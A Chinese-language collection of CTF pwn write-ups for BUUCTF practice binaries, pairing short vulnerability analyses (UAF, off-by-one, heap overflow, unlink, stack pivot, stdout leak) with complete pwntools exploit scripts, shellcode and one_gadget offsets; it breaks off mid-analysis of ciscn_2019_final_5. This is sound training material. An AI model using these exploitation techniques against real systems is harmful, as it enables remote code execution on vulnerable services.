首先可以明确一点可以覆盖返回地址,第一下考虑直接覆盖为one_gadget 本地通远程不通。

然后就考虑用栈转移到buf上来获取shell。

exp

from pwn import *
import time
local_file  = './ciscn_s_4'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',26932)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

payload = 'a' * (0x28 - 1 ) + 'b'
sa('name',payload)
ru("b")
buf_base = uu32(r(4)) - 0x38
r(4)
libc_base = uu32(r(4)) - 0x1fb9b0
info_addr('stack',buf_base)
info_addr('libc',libc_base)
payload = p32(0x8048450) + p32(elf.plt['system']) + p32(0x8048450) + p32(buf_base+16) + '/bin/sh\x00'
payload = payload.ljust((0x30-4-4-8),'b') + p32(buf_base) *3+ p32(0x80485FD)
s(payload)
itr()

ciscn_2019_final_2

分析

程序很简单,但是也很细节,由于自己的逆向能力有点差,没有注意部分细节,造成构造堆块,进行leak和改写时,造成较大的困难和迷惑。

开启了沙盒不能get shell:

#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000004  A = arch
#  0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
#  0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
#  0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
#  0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0007: 0x06 0x00 0x00 0x00000000  return KILL

漏洞点

  • UAF

比如:

程序处:

add函数:
int *v0; // rbx
__int16 v1; // ax
 v0 = (int *)int_pt;
 *v0 = get_atoi();
 *((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
v1 = get_atoi();
*(_WORD *)short_pt = v1;
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;

开始对数据类型的大小没有注意,这几处决定着

  • int型堆块时,只能写上4字节的数据
  • short int 型堆块时,只能写上2字节的数据
show函数:
if ( v2 == 1 && int_pt )
    printf("your int type inode number :%d\n", *(unsigned int *)int_pt);
  if ( v2 == 2 && short_pt )
    printf("your short type inode number :%d\n", (unsigned int)*(signed __int16 *)short_pt);

意味着leak时也是只能泄漏出部分的字节,增加在利用时的难度,需要利用合适的堆块进行攻击,其合适是指上面有残留合适的数据,然后改末尾几个字节。

预备知识

scanf函数是从stdin中读取数据,且在__IO_2_stdio_ 的io结构体存在一个_fileno的标识位,默认值是0,若将其改成其他的文件号,调用scanf函数在获取时,就会获取对应文件。

难点

  • 程序只让你分配0x30或者0x20的堆块,如何伪造出一个至少0x90的堆块,如何释放后,来泄漏libc。
  • 泄漏出来的数据不是完整的,可写时只能写上2、4字节

exp

from pwn import *
import time
local_file  = './ciscn_final_2'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',25252)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(type,number):
    sla('>','1')
    sla('>',str(type))
    sla(":",str(number))

def free(type):
    sla('>','2')
    sla('>',str(type))

def show(type):
    sla('>','3')
    sla('>',str(type))

def leave():
    sla('>','4')
    # sa('?',str(mes))


add(1,1)
free(1) #leave chunk 0 
add(2,2)
add(2,2)
add(2,2) # 0x90
#ready to dup
add(2,2)
free(2)
add(1,1) # get chunk0
free(2)
#leak heap
show(2)
ru('number :')
chunk0_addr_word = int(ru('\n')) - 0xa0
info_addr('chunk0_addr',chunk0_addr_word)
add(2,chunk0_addr_word)
add(2,chunk0_addr_word)
add(2,0x91) #fake unsortbin chunk
#full tache bins
for i in range(7):
    free(1)
    add(2,2)
#leak libc
free(1)
show(1)
ru('number :')
stdin_fillno = int(ru('\n')) - 0x2a0 + 0x70
info_addr('stdin_fillno',stdin_fillno)

#ready to attack stdin_fillno ,use taeche dup

add(1,stdin_fillno)
add(1,stdin_fillno)
free(1)
add(2,stdin_fillno)
free(1)
#leak contains libc's heap
show(1)
ru('number :')
chunk1_addr_dword = int(ru('\n')) - 0x30
info_addr('chunk1_addr_dword',chunk1_addr_dword)
#change the 0x30bins chains

add(1,chunk1_addr_dword)
add(1,chunk1_addr_dword)
add(1,stdin_fillno)
#attck the fileno
add(1,666)

leave()
itr()

渣渣英文注释,先不改了。感觉还是挺不容易做的题,堆块如何构造想了老久。到别的师傅那里,归类为简单题。太菜了太菜了,基础还不是很好。

pwnable_hacknote

分析

简单的uaf

坑点

(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);

此处在改完ptr[v1]为system以后,其参数的指针是从这个堆块开始的要提前进行截断。

system(p32(system) + '||sh')
system(p32(system) + ';sh;')

exp

from pwn import *
import time
local_file  = './hacknote'
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
else:
    io = remote('node3.buuoj.cn',27225)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,data):
    sla('choice','1')
    sla('size',str(size))
    sa('Content',str(data))

def free(idx):
    sla('choice','2')
    sla('dex',str(idx))

def show(idx):
    sla('choice','3')
    sla('dex',str(idx))

add(0x20,'bbbb')
add(0x20,'bbbb')
free(0)
free(1)
add(8,p32(0x0804862B) + p32(elf.got['__libc_start_main']))
show(0)
r()
libc_base = uu32(r(4)) - 0x18540
info_addr('base',libc_base)
free(2)
system = 0x0003ada0 + libc_base
add(8,p32(system) + '||sh')
show(0)
itr()

Buu远程打不通。。

hitcontraining_heapcreator

分析

Edit函数处,故意可以多写出一个字节。

  • off by one

exp

from pwn import *
import time
local_file  = './heapcreator'
context.log_level = 'debug'
elf = ELF(local_file)
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',26646)
    libc = elf.libc
    # remote_libc = '.' # './libc.so.6'
    # libc = ELF(remote_libc)
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,data):
    sla('choice','1')
    sla('Heap',str(size))
    sa('heap',str(data))
def edit(idx,data):
    sla('choice','2')
    sla('dex',str(idx))
    sa('heap',str(data))

def show(idx):
    sla('choice','3')
    sla('dex',str(idx))

def free(idx):
    sla('choice','4')
    sla('dex',str(idx))


add(0x18,'\x00')
add(0x20,'bbbb')
add(0x20,'cccc')
add(0x10,'dddd')
payload = 0x18 * 'a' + '\xa1'
edit(0,payload)
free(1)
add(0x10,'\x78')
show(1)
ru('Content : ')
base = uu64(r(6)) - 0x3c4b78
info_addr('libc_base',base)
free(1)
free_hook = 0x3c67a8 + base
paylaod = '\x00' * 2 * 8  + p64(8) + p64(free_hook)
add(0x30,paylaod)
rce = base + rce16[1]
edit(2,p64(rce))
free(0)
itr()

0ctf_2017_babyheap

分析

保护全开,程序逆向起来看起来很乱,并且堆块定位是通过栈来传参,没有全局指针。

知识点

calloc 函数基本跟malloc一样,但是再分配好堆块时,会把分配到的堆块全部清理为0。

影响

无法通过传统的unsortbin来leak libc,结合fill函数中的堆溢出即可。

漏洞点

Fill 函数中,明显有堆溢出,且十分好用,效果很大。

exp

from pwn import *
import time
local_file  = './0ctf_2017_babyheap'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',26374)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size):
    sla('Command','1')
    sla('Size',str(size))
def fill(idx,size,data):
    sla('mand','2')
    sla('dex',str(idx))
    sla('ize',str(size))
    sa('tent',str(data))
def free(idx):
    sla('mand','3')
    sla('dex',str(idx))
def dump(idx):
    sla('mand','4')
    sla('dex',str(idx))

add(0x30) #0
add(0x30) #1
add(0x10) #2
add(0x10) #3
add(0x10) #4
add(0x20) #5
payload = 'a' * 0x30 + p64(0) + p64(0xa1) + p64(0) * 4
fill(0,0x60,payload)
free(1)
add(0x30)
dump(2)
ru('Content: \n')
base = uu64(r(6)) - 0x3c4b78
info_addr('libc_base',base)
add(0x50) #6
add(0x60) #7
add(0x60) #8
free(7)
free(8)
malloc_hook = base + 0x3c4b10
payload = p64(0) * 5 + p64(0x71) + p64(0) * 13 + p64(0x71) + p64(malloc_hook-0x23) 
fill(5,len(payload),payload)
add(0x60) #7
add(0x60) #8
rec = rce16[1] + base
payload = 'a' * 0x13 + p64(rec)
fill(8,len(payload),payload)
add(0x20)
itr()

wustctf2020_closed

close(1);
close(2);
return shell();

直接就给你shell了,但是stdout已经被关闭了。但是对其文件描述符1进行重定向为没有关闭的0即可。

exec 1>&0 && cat flag

wustctf2020_getshell_2

分析

ssize_t vulnerable()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0x24u);
}

明显可以看出只可以控制2个gadget。优先想到了栈迁移。可是也没有合适地方去迁移利用。

倘若可以控制3个gadget,直接:

p32(system.plt) + p32(0xdeadbeef) + p32(sh)

这样就可以拿到shell了。

因为平时rop时,32位下自己十分经常**用函数的plt+返回地址+参数1,造成思路卡顿。

突破

但是尝试去看下后门函数:

.text:08048521 ; 2:   return system("/bbbbbbbbin_what_the_f?ck__--??/sh");
.text:08048521                 sub     esp, 0Ch
.text:08048524                 push    offset command  ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529                 call    _system
.text:0804852E                 add     esp, 10h
.text:08048531                 nop
.text:08048532                 leave
.text:08048533                 retn

在08048524处,可以看到起其call system前,push offset command,把这个字符串压栈,来作为第一个参数。

那就在溢出时,返回地址填上08048529 ,在自己填上sh的地址即可了。

这样就在call system时,完成的是system(sh)

其实也是很简单的:

由于因为平时rop时,32位下自己经常用`函数的plt+返回地址+参数1`,造成思路卡顿。 ,其实自己分析以后就是:函数的plt+4字节+参数1

溢出时,填上p32(0x8048529) + p32(sh)
栈信息:

0000| 0xffcca2fc --> 0x8048529 (<shell+14>:     call   0x80483e0 <system@plt>)
0004| 0xffcca300 --> 0x8048670 --> 0x6873 ('sh')

在溢出调用时,ret到:

.text:08048529                 call    _system

其就是

push eip+4
jmp system.plt

然后栈就变成了:

=> 0x80483e0 <system@plt>:      jmp    DWORD PTR ds:0x804a018
 | 0x80483e6 <system@plt+6>:    push   0x18
 | 0x80483eb <system@plt+11>:   jmp    0x80483a0
 | 0x80483f0 <__libc_start_main@plt>:   jmp    DWORD PTR ds:0x804a01c
 | 0x80483f6 <__libc_start_main@plt+6>: push   0x20
 |->   0x80483e6 <system@plt+6>:        push   0x18
       0x80483eb <system@plt+11>:       jmp    0x80483a0
       0x80483f0 <__libc_start_main@plt>:       jmp    DWORD PTR ds:0x804a01c
       0x80483f6 <__libc_start_main@plt+6>:     push   0x20
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffcca2fc --> 0x804852e (<shell+19>:     add    esp,0x10)
0004| 0xffcca300 --> 0x8048670 --> 0x6873 ('sh')

这就变成了,自己熟悉的函数的plt+返回地址+参数1

exp

from pwn import *
import time
local_file  = './wustctf2020_getshell_2'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',25032)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']

offset = 28
sh = elf.search('sh\x00').next()
system = 0x8048529
payload = 'a' * offset + p32(system) + p32(sh)
s(payload)
itr()

axb_2019_heap

分析

保护全开。

漏洞点

  • 格式化字符串漏洞,可以泄漏出程序和libc的基址
  • edit函数中,错误的size选取,导致每次可以多溢出0x10的字节,威力就很大了,prev size与 size都可以改到。

直接进行unlink攻击即可。估计就是考这个的,程序限制了不能申请0x80以下的堆块,且key值基本没办法改到。

exp

from pwn import *
import time
local_file  = './axb_2019_heap'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',26837)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,size,data):
    sla('>>','1')
    sla('(0-10)',str(idx))
    sla('size',str(size))
    sla('content',str(data))

def free(idx):
    sla('>>','2')
    sla('dex',str(idx))

def edit(idx,data):
    sla('>>','4')
    sla('dex',str(idx))
    sla('content',str(data))

payload = '%15$p' + '%11$p'

sla('name',payload)
ru('Hello, 0x')
libc_base = int(r(12),16) - 0x20830
info_addr('libc_base',libc_base)
ru('0x')
bin_base = int(r(12),16) - 0x1186
info_addr('bin_base',bin_base)

note = bin_base + 0x202060
key = bin_base + 0x202040

add(0,0x88,'aaaaaaaa')
add(1,0x100,'bbbbbbbb')
add(2,0x88,'cccccccc')
payload = p64(0) + p64(0x31) + p64(note-0x18) + p64(note - 0x10) + p64(0) * 2 + p64(0x30)
payload += p64(0) * 9 + p64(0x80) + p64(0x110)
edit(0,payload)
free(1)
free_hook = 0x3c67a8 + libc_base
payload = p64(0) * 3 + p64(free_hook) + p64(0x88)
edit(0,payload)
rec = rce16[1] + libc_base
edit(0,p64(rec))
free(2)
itr()

分析

Edit函数中,有个大威力的堆溢出。
用unlink攻击。

exp

from pwn import *
import time
local_file  = './bamboobox'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',26818)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,data):
    sla('choice','2')
    sla('len',str(size))
    sa('name',str(data))
def edit(idx,size,data):
    sla('ice','3')
    sla('dex',str(idx))
    sla('len',str(size))
    sa('name',str(data))

def show():
    sla('choice','1')

def free(idx):
    sla('ice','4')
    sla('dex',str(idx))

note = 0x006020C0 + 8
add(0x88,'aaaaaaaa')
add(0x100,'bbbbbbbb')
add(0x88,'cccccccc')
payload = p64(0) + p64(0x31) + p64(note-0x18) + p64(note - 0x10) + p64(0) * 2 + p64(0x30)
payload += p64(0) * 9 + p64(0x80) + p64(0x110)
edit(0,len(payload),payload)
free(1)
show()
ru('0 : ')
libc_base = uu64(r(6)) - 0x3c48e0
info_addr('libc_base',libc_base)
free_hook = 0x3c67a8 + libc_base
payload = p64(libc_base + 0x3c48e0) + p64(0)  + p64(0x88) + p64(free_hook)
edit(0,len(payload),payload)
rec = rce16[1] + libc_base
edit(0,8,p64(rec))
free(2)
itr()

ciscn_2019_s_9

分析

32位程序,保护全关,目标定位着shellcode去。

漏洞点

栈溢出,可以溢出14个字节,这是32位程序用rop就可以打了。但是为相对麻烦一点。

.text:08048551             hint            proc near
.text:08048551             ; __unwind {
.text:08048551 55                          push    ebp
.text:08048552 89 E5                       mov     ebp, esp
.text:08048554 FF E4                       jmp     esp
.text:08048554             hint            endp

在题目当中,有个hint函数,就是给提示的,提示到jmp esp 这个gadget。

其中,可以想到在栈溢出中,有给ret addr填上jmp esp ,在接上shellcode。这应该是很经典的用法。

参考链接:http://www.atomsec.org/%E5%AE%89%E5%85%A8/%E6%A0%88%E6%BA%A2%E5%87%BAjmp-esp%E5%8E%9F%E7%90%86/

构造思路:

Payload = overflow + jmp esp address + shellcode

但是这个题就是只能溢出14字节,返回地址再占用4字节,应该没有10字节这样少的shellcode。

所以转变一下,栈上填充好shellcode,然后jmp esp address,接着让其执行sub esp,0x28,然后在跳转esp。

Payload = shellcode + jmp esp address + sub esp,esp + jmp esp

其实基本都是一样的,后面跟上的,也可以理解为调整esp指针的shellcode。

esp

from pwn import *
import time
local_file  = './ciscn_s_9'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',26283)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

jmp_esp = 0x08048554
shellcode= '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
shellcode = shellcode.ljust(0x24,'\x00')
gadgets = asm('sub esp,0x28;jmp esp')

print(gadgets)
payload = shellcode + p32(jmp_esp) + gadgets
# debug()
sl(payload)
itr()

roarctf_2019_realloc_magic

分析

漏洞点

  • UAF

程序用realloc函数来分配堆块,因为不熟悉这个搞的我,好久没有做出来。

知识点

realloc的特点

基础功能是改变mem_address所指内存区域的大小为newsize长度。这里就有几种不同的情况

  • 1.当size为0,这时就相当于free()函数,同时返回值为null
  • 2.当指针为0,size大于0,相当于malloc函数
  • 3.size小于等于原来的size,则在原先的基础上缩小,多余的堆块free掉
  • 4.size大于原来的size,如果有足够空间就原基础扩充,空间不足则分配新的内存,并将原来指针指向的堆块旧内容复制到新的堆块内存中,然后再将原来的堆块free掉。

其中第4点,有足够空间,画图解释一下:

由于这个特性,来制作3个堆块A、B、C,B堆块作为进入unsortbin的堆块存在,C是为了防止不让C合并top chunk,然后用A来申请一个size<=(A的size + B的size)的堆块,这样就造成了堆块的重叠。

利用 _IO_2_1_stdout_ 来泄漏信息

参考链接:
http://pzhxbz.cn/?p=139

http://blog.eonew.cn/archives/1190

http://blog.eonew.cn/archives/1190

这个题因为有过输出,其_IO_CURRENTLY_PUTTING就是为1的 ,对于_IO_IS_APPENDING这个flag的值,将这个flag搞成1之后,就可以通过修改_IO_buf_base来完成leak。

在赛题中,很多程序都是用过输出函数进行输出的,基本就是改掉flag,中间的三个变量在输出的过程中都不怎么用得到,直接盖成0,低位覆盖_IO_buf_base为合适的值就可以完成leak。

Flag 怎么设置,在赛题中还是很随意的:

0xfbad1887
0xfbad3c80

重点就是让stdout->_IO_read_end == stdout->_IO_write_base

大体的利用方法就是利用unsorted bin的在tcache或fastbin的fd上留下main_arena的地址,由于_IO_2_1_stdout_arena只相差4位,且低三位已知,在传入是低3位覆盖fd留下的main_arena的地址,剩余一位可以爆破,概率1/16,从而劫持stdout以达到泄露的目的 。

exp

from pwn import *
import time
local_file  = './roarctf_2019_realloc_magic'
elf = ELF(local_file)
# context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',28690)
    libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce18 = [0x4f2c5,0x4f322,0x10a38c]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,data):
    sla('>>','1')
    sla('?',str(size))
    if int(size) != 0 :
        sa('?',str(data))

def free():
    sla('>>','2')

def leak_addr():
    add(0x80,'aaaaaaa')
    add(0,'')
    add(0x100,'aaaaaaaa')
    add(0,' ')
    add(0x110,' ')
    add(0,'')
    add(0x100,'a')
    for i in range(7):
        free()
    add(0,'1')
    add(0x80,'\x60\x87')
    payload = 17 * p64(0) + p64(0x61) + '\x60\x87'
    add(0x190,payload)
    add(0,'')
    add(0x100,'\x60\x87')
    add(0,'')
    payload = p64(0xfbad3c80) + '\x00' * 8 * 3 + '\x00'
    add(0x100,payload)

leak = 0
while True:
    try:
        leak_addr()
        ss = io.recvuntil(chr(0x7f),timeout = 0.5)
        if len(ss) == 0:
            raise Exception('')
        io.recv(16)
        leak = u64(io.recv(8))
        if leak == 0x320a6464412e310a:
            raise Exception('')
        break
    except Exception:
        io.close()
        # io = process('./roarctf_2019_realloc_magic')
        io = remote('node3.buuoj.cn',28690)
        continue

leak = leak >> 16
info_addr('leak',leak)
libc_base = leak - 4110208
info_addr('libc_base',libc_base)
free_hook = 4118760 + libc_base
sys_addr = 324832+libc_base

sla('>>','666')

add(0x120,'aaaaaaa')
add(0,'')
add(0x130,'aaaaaaaa')
add(0,' ')
add(0x160,' ')
add(0,'')
add(0x130,'a')
for i in range(7):
    free()
add(0,'1')
add(0x120,'\x60\x87')
payload = 37 * p64(0) + p64(0x71) + p64(free_hook)
add(0x260,payload)
add(0,'')
add(0x130,'a')
add(0,'')
one_rec = rce18[1] +libc_base
add(0x130,p64(one_rec))
free()
# debug()

itr()

其中exp的爆破stdout部分,可以当作模版使用,来自pzhxbz大佬的。

ciscn_2019_en_3

分析

常规堆题,UAF,dup打free_hook_。上来用puts(&s),来泄漏栈上存在的libc地址。

exp

from pwn import *
import time
local_file  = './ciscn_2019_en_3'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',29542)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,data):
    sla('ice','1')
    sla('size',str(size))
    sa('story',str(data))
def free(idx):
    sla('ice','4')
    sla('dex',str(idx))

payload = 'a' * (0x20-8)
sa('name',payload)
sa('ID','chumen77')
ru('chumen77')
libc_base = uu64(r(6)) - 0x81237
info_addr('libc_base',libc_base)
add(0x50,'aaaaaaaa')

free(0)
free(0)
free_hook = libc_base + 0x3ed8e8
add(0x50,p64(free_hook))
add(0x50,p64(free_hook))
rec = rce18[1] + libc_base
add(0x50,p64(rec))
free(0)
itr()

极客大挑战2019 Not bad

分析

溢出0x18个字节,加上本身的栈长度,读orw 的shellcode内存不是很够用。需要迁移到mmap,进行orw。所以摆在栈上的shellcode就是,来一个read函数,把orw放在mmap上,然后再跳转上去执行即可。并且再次用到 jmp rsp + shellcode.

exp

from pwn import *
import time
local_file  = './bad'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('node3.buuoj.cn',29794)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
mmap = 0x123000
jmp_rsp = 0x0000000000400a01
# bss = 0x6010B0 - 0x20
orw = asm(shellcraft.open("./flag"))
orw += asm(shellcraft.read(3,"rsp",0x30))
orw += asm(shellcraft.write(1,"rsp",0x30))

payload = asm(shellcraft.read(0,mmap + 0x300,0x100)) + asm('mov rax,0x123300;call rax')
payload = payload.ljust(0x28,'a')
payload += p64(jmp_rsp) +   asm('sub rsp,0x30;jmp rsp')

sa('fun',payload)
s(orw)
itr()

ciscn_2019_final_5

分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

保护开的不多,分析和利用起来简单不少。

这个题难点就是在于发现漏洞点。

add函数

 __int64 result; // rax
  signed int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
